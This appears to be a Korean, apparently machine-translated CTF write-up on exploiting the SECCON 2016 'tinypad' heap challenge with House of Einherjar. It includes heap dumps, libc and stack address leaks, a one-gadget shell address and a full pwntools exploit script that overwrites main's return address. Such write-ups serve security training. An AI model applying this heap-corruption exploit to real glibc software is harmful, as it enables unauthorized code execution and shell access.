House Of Einherjar(2016 Seccon tinypad)

31286 단어 활용 단어 참조
밤.https://github.com/tower111/software.git
got 표 작성 불가: 납치 프로그램 실행 흐름 의 사고 1. hook 함수 복사.2. 주소 canary 와 NX 보 호 를 되 돌려 줍 니 다.
빈틈 과 데이터 구조
  if ( v13 > 0 && v13 <= 4 )
      {
        if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] )
        {
          c = '0';
          strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
          while ( toupper(c) != 'Y' )
          {
            write_n((__int64)"CONTENT: ", 9LL);
            v8 = strlen(tinypad);
            writeln((__int64)tinypad, v8);
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
            read_until((__int64)tinypad, v9, 0xAu);
            writeln((__int64)"Is it OK?", 9LL);
            write_n((__int64)"(Y/n)>>> ", 9LL);
            read_until((__int64)&c, 1uLL, 0xAu);
          }
          strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad);
          v3 = 8LL;

bss 세그먼트 오프셋 0x 100 위치 에 size 와 chunk 의 주 소 를 넣 고 chunk 에 content 를 저장 합 니 다.bss 세그먼트 의 시작 은 edit 함수 버퍼 의 데 이 터 를 저장 합 니 다.
1. 함수 사용자 정의 read 함수 에 off by one 구멍 이 있 습 니 다.이 코드 는 비교적 번 거 로 워 서 수 동 으로 결론 을 내 릴 수 있다.각 chunk 의 prive 를 복사 할 수 있 습 니 다.size 와 priveinuse 필드, edit 길이 가 256 일 때 memo 1 의 size 필드 를 덮어 씁 니 다 (0 으로 만 설정 할 수 있 습 니 다)
2. free 이후 size 만 0 으로 설정 하고 지침 을 0 으로 제거 하지 않 아 UAF 구멍 이 있 습 니 다.
사고의 방향 을 이용 하 다.
off by one 만 이용 하려 면 2 층 chunk 가 필요 합 니 다. 여 기 는 1 층 만 있 으 면 안 됩 니 다.https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)。
unlink 는 넘 쳐 야 합 니 다. 다음 더 미 를 완전 하 게 조작 해 야 합 니 다. 여 기 는 unlink 만 사용 해도 안 됩 니 다.
double free:
   if ( v8 == 'D' )
    {
      write_n("(INDEX)>>> ", 11LL, v9);
      v20 = read_int();
      if ( v20 > 0 && v20 <= 4 )
      {
        if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
        {
          free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
          *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
          writeln("
Deleted."
, 9LL); } else { writeln("Not used", 8LL); } }

여 기 는 free 함수 에 제한 을 두 었 습 니 다. double free 는 안 됩 니 다.
house of einherjar 는 어떤 참고 입 니까?https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
house of einherjar 필요: inuse 위 치 를 수정 할 수 있 고 신청 한 공간 내용 은 두 단위 가 제어 할 수 있 습 니 다.(unlink 를 진행 하 는 chunk 에 대해 서 는 자신의 size 부분 을 검사 하지 않 습 니 다) house of einherjar 를 이용 하여 bss 세그먼트 의 공간 에 신청 하고 memo 배열 을 수정 하여 복사 hookmalloc 또는 반환 주소 수정
           v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
            read_until((__int64)tinypad, v9, 0xAu);

원래 길 이 를 읽 고 입력 하기 때문에, malloc훅 은 처음에 0 이 었 기 때문에 사용 할 수 없 으 면 두 번 째 방안 만 사용 할 수 있 습 니 다.
주 소 를 되 돌려 주 는 방안 가 져 오기: libc 누설 찾기environ 함수 계산 mainarean 주소
1. bss 공간 에 신청 하려 면: heap 주소, bss 주소 2. 복사 되 돌려 주 는 주소: libc 주소, 적당 한 ropgedat
필요 한 데이터 가 져 오기
먼저 ropgedat 를 찾 아 libc 라 이브 러 리 의 / bin / sh 문자열 을 검색 하면 이곳 을 찾 을 수 있 습 니 다. 완벽 한 ropgedat 입 니 다.
text:000000000004520F loc_4520F:                              ; CODE XREF: sub_44E20+16E↑j
.text:000000000004520F                 lea     rax, aBinSh+5   ; "sh"
.text:0000000000045216                 lea     rsi, unk_3C6560
.text:000000000004521D                 xor     edx, edx
.text:000000000004521F                 mov     edi, 2
.text:0000000000045224                 mov     [rsp+188h+var_148], rbx
.text:0000000000045229                 mov     [rsp+188h+var_140], 0
.text:0000000000045232                 mov     [rsp+188h+var_158], rax
.text:0000000000045237                 lea     rax, aC         ; "-c"
.text:000000000004523E                 mov     [rsp+188h+var_150], rax
.text:0000000000045243                 call    sigaction
.text:0000000000045248                 lea     rsi, unk_3C64C0
.text:000000000004524F                 xor     edx, edx
.text:0000000000045251                 mov     edi, 3
.text:0000000000045256                 call    sigaction
.text:000000000004525B                 xor     edx, edx
.text:000000000004525D                 mov     rsi, r12
.text:0000000000045260                 mov     edi, 2
.text:0000000000045265                 call    sigprocmask
.text:000000000004526A                 mov     rax, cs:environ_ptr_0
.text:0000000000045271                 lea     rdi, aBinSh     ; "/bin/sh"
.text:0000000000045278                 lea     rsi, [rsp+188h+var_158]
.text:000000000004527D                 mov     cs:dword_3C64A0, 0
.text:0000000000045287                 mov     cs:dword_3C64A4, 0
.text:0000000000045291                 mov     rdx, [rax]
.text:0000000000045294                 call    execve

fast bin 크기 의 chunk 는 방출 후 fd 포인터 에 데 이 터 를 기록 하여 단일 체인 표를 구성 합 니 다.이 럴 때 chunk 의 내용 을 출력 하면 됩 니 다.
small bin 크기 의 블록 을 방출 한 후 unsort bin 에 들 어 갑 니 다.unsort bin 에 fd 와 bk 는 양 방향 링크 입 니 다. 체인 에 있 는 첫 번 째 chunk 의 fd, bk 지침 은 main 을 가리 킵 니 다.arena 주소, 이 주소 와 libcbase 간 의 오프셋 은 고정 적 이다.
코드 분석 이용
add(0x10, 'a') 
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00'))-0x20 print "heap_base="+hex(heap_base) gdb.attach(p) #x /10xg 0x602140 delete(3) p.recvuntil(" # CONTENT: ") main_arena=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00')) print "main_arena="+hex(main_)

chunk 1 과 chunk 2 를 삭제 한 후 hep 출력base
pwndbg> x /10xg  0x2110000
0x2110000:  0x0000000000000000  0x0000000000000021
0x2110010:  0x0000000002110020  0x0000000000000000
0x2110020:  0x0000000000000000  0x0000000000000021
0x2110030:  0x0000000000000000  0x0000000000000000
0x2110040:  0x0000000000000000  0x0000000000000111

그래서 여 기 는 0x 20 을 빼 야 합 니 다.
chunk 3 를 삭제 한 후 chunk 3 는 인접 한 2 개의 chunk 를 합 친 후 unsort bin 에 넣 고 topchunk 에 의 해 회수 된다.
pwndbg> heap
0x148b000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x21001, 
  fd = 0x7f434a1aab78 <main_arena+88>, 
  bk = 0x7f434a1aab78 <main_arena+88>, 
  fd_nextsize = 0x20, 
  bk_nextsize = 0x20
}

unsort bin 에 넣 는 것 을 만족 시 키 고 하나의 chunk 만 있 기 때문에 fd 와 bk 의 위 치 는 모두 mainarena 。 main 획득 방법arena 와 libc 사이 의 오프셋?
liu@liu-VirtualBox:~$ pidof tinypad 
4072
liu@liu-VirtualBox:~$ cat /proc/4072/maps
00400000-00402000 r-xp 00000000 08:01 471441                             /home/liu/Desktop/tinypad
00601000-00602000 r--p 00001000 08:01 471441                             /home/liu/Desktop/tinypad
00602000-00603000 rw-p 00002000 08:01 471441                             /home/liu/Desktop/tinypad
01082000-010a3000 rw-p 00000000 00:00 0                                  [heap]
7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0 
7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0 
7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0 
7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0                          [stack]
7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0                          [vvar]
7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

main_arena=0x7ff38f73db78
offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78
여기까지 필요 한 데 이 터 는 기본적으로 완성 되 었 다.다음은 구조 house of einherjar.
add(0x18,"d"*0x18)
add(0x100,"e"*0xf8+'\x11')
add(0x100,'f'*0xf8)

free 에서 다음 chunk 의 size 를 검사 하기 때문에 '\ x11' 본 chunk 의 size 는 0x 111 에서 덮어 쓰 면 0x 100 으로 변 합 니 다.
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2
edit(3,payload)

여 기 는 chunk 3 에 쓰 여 있 지 않 지만 bss 세그먼트 의 시작 에 쓰 여 있 습 니 다. 우리 가 여기 서 만 든 fakechunk. unlink 를 돌아 가기 위해 서 는 fd 와 bk 가 모두 fake 여야 합 니 다.addr。 size prive_inuse 다음 chunk 가 넘 치 는 다음 chunk (여 기 는 chunk 3) 의 size 가 필요 합 니 다. inuse 는 1 (기본 unsortbin 에서 첫 번 째 chunk 의 prive inuse 는 1) 입 니 다.(위 키 에서 unlink 라 고 말 할 때 fakechunk 의 size 는 검사 하지 않 고 chunk 2 의 size 만 검사 하 는 것 을 보 았 습 니 다. 왜 size 는 이렇게 이 유 를 모 르 고 큰 사람 이 이 글 을 보고 도움 을 주 었 으 면 좋 겠 습 니까?)
다음은 off by one 구멍 을 이용 하여 inuse 비트 를 수정 합 니 다.
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
    edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
delete(2)
p.recvuntil("
Deleted."
)

strcpy 를 사용 하기 때문에 중간 에 \ x00 이 끊 어 집 니 다. 여 기 는 순환 으로 size 를 기록 합 니 다.
delete 를 실행 한 후 이 렇 습 니 다. 위 조 된 chunk 는 unsort bin 에 넣 습 니 다. 이 과정 에서 size 와 fd, bk 를 설정 합 니 다.다음 에 신청 할 공간 은 여 기 를 먼저 찾 은 다음 에 top chunk 를 사용 할 수 있 습 니 다.우 리 는 정상적으로 0x00000097c0c 0 만큼 큰 chunk 를 신청 하면 mmap 를 사용 하기 때문에 진정 으로 역할 을 하려 면 이 size 를 수정 해 야 합 니 다.
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)

프로그램 은 bss 세그먼트 에 원본 데 이 터 를 먼저 복사 하고 edit 의 size 도 원본 size 를 초과 할 수 없 기 때문에 새로운 chunk 를 추가 하 는 것 이 편리 합 니 다.
다음은 복귀 주소 유출 과 복사 복귀 주소 입 니 다.사고: chunk 1 이 environ 을 가리 키 는 주 소 를 설정 하면 출력 할 수 있 고 유출 계산 mainret_addr, chunk 1 이 가리 키 도록, mainret_addr 는 chunk 1 을 gedgat 로 수정 합 니 다.chunk 1 을 수정 하려 면 chunk 2 가 chunk 1 을 가리 키 게 할 수 있 습 니 다.
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
environ_addr=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00')) print "environ_addr="+hex(environ_addr) main_ret_addr=environ_addr-30*8

여기 p64 (0x 100) 를 주의 하 십시오. 0 으로 설정 할 수 없습니다. 0 이면 아래 edit 가 실 패 했 습 니 다.이것 도 이 문제 가 더 블 프 리 를 사용 할 수 없 는 이유 다.
모든 것 이 준비 되 어 있 으 니 다음 에 수정 하면 된다.
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()

전체 exp
from pwn import *
context.log_level="debug"
p=process("tinypad")
elf=ELF("./tinypad")
libc=ELF("./libc.so.6")
offset=0x3c4b78
def add(size,content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("A")
    p.recvuntil("(SIZE)>>> ")
    p.sendline(str(size))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)

def delete(index):
    p.recvuntil("(CMD)>>> ")
    p.sendline("D")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    #size=0,p!=NULL
    #\x00

def edit(index,content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("E")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil("(Y/n)>>> ")
    p.sendline("Y")





add(0x10, 'a') 
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00'))-0x20 print "heap_base="+hex(heap_base) #gdb.attach(p) #x /10xg 0x602140 delete(3) p.recvuntil(" # CONTENT: ") main_arena=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00')) print "main_arena="+hex(main_arena) libc_base=main_arena-offset print "libc_base="+hex(libc_base) # house of einherjar add(0x18,"d"*0x18) add(0xf0,"e"*0xf0) add(0xf0,'f'*0xf8) add(0x100,"f"*0xf8) fake_addr=0x602040+0x20 size=heap_base-fake_addr+0x20 print hex(size) payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2 edit(3,payload) for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1): edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f')) #edit(1,'a'*0x10+p64(size)) #gdb.attach(p) delete(2) p.recvuntil("
Deleted."
) payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena) edit(4,payload) #gdb.attach(p) getgat=libc_base+0x45216 environ_point=libc_base+libc.symbols['__environ'] payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148) add(0x100,payload) #gdb.attach(p) p.recvuntil(" # CONTENT: ") environ_addr=u64(p.recvuntil('
'
,drop=True).ljust(8,'\x00')) print "environ_addr="+hex(environ_addr) main_ret_addr=environ_addr-30*8 print "main_ret _addr="+hex(main_ret_addr) gdb.attach(p) edit(2,p64(main_ret_addr)) edit(1,p64(getgat)) p.sendline("q") p.interactive()

이 예 는 unbutu 16 에 만 적 용 됩 니 다. 18 관리 전략 이 바 뀌 었 기 때문에 get 셸 을 사용 할 수 없습니다.
참고:https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_이메일[email protected]형님 이 제 문 제 를 해결 해 주 셨 으 면 좋 겠 습 니 다. 도움 을 청 하 는 것 도 환영 합 니 다.

좋은 웹페이지 즐겨찾기